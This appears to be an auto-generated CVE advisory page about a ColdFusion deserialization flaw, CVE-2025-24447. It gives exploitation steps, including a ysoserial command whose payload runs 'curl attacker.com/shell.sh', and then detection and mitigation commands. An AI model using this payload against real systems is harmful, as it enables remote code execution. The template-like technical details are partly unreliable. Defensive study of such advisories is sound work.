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How CVE-2025-24447 Works
CVE-2025-24447 is a deserialization vulnerability in Adobe ColdFusion (versions 2023.12, 2021.18, 2025.0, and earlier). Attackers craft malicious serialized objects embedded in files (e.g., CFM, CFR). When a user opens the file, ColdFusion deserializes the object without proper validation, executing arbitrary code under the victim’s privileges. The exploit chain involves:
1. Malicious Payload: Attacker serializes harmful Java objects (e.g., gadget chains like Commons-Collections).
2. User Interaction: Victim opens a manipulated file (e.g., via phishing).
3. Unsafe Deserialization: ColdFusion processes the object, triggering remote code execution (RCE).
The vulnerability stems from insecure use of Java’s ObjectInputStream, allowing classpath manipulation.
DailyCVE Form
Platform: Adobe ColdFusion
Version: 2023.12/2021.18/2025.0
Vulnerability: Deserialization RCE
Severity: Critical
Date: 2025-04-15
What Undercode Say:
Exploitation
1. Gadget Chain: Use ysoserial to generate payloads:
java -jar ysoserial.jar CommonsCollections5 'curl attacker.com/shell.sh' > payload.ser
2. Embed Payload: Inject into CFM file:
<cfset exploit = deserializeObject(FileRead("payload.ser"))>
3. Trigger: Social-engineer victim to open file.
Detection
- Log Analysis: Check for abnormal deserialization in
coldfusion-out.log:grep "java.io.ObjectInputStream" coldfusion-out.log
2. File Monitoring: Audit unexpected `.ser`/`.cfm` files:
Get-ChildItem -Path C:\inetpub\wwwroot -Recurse -Include .ser,.cfm
Mitigation
1. Patch: Upgrade to ColdFusion 2025.1+.
2. Input Validation: Restrict deserialization:
ObjectInputFilter filter = ObjectInputFilter.Config.createFilter("!");
3. Network Controls: Block outgoing LDAP/JNDI requests:
iptables -A OUTPUT -p tcp --dport 389 -j DROP
References
No additional commentary beyond specified rules.
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
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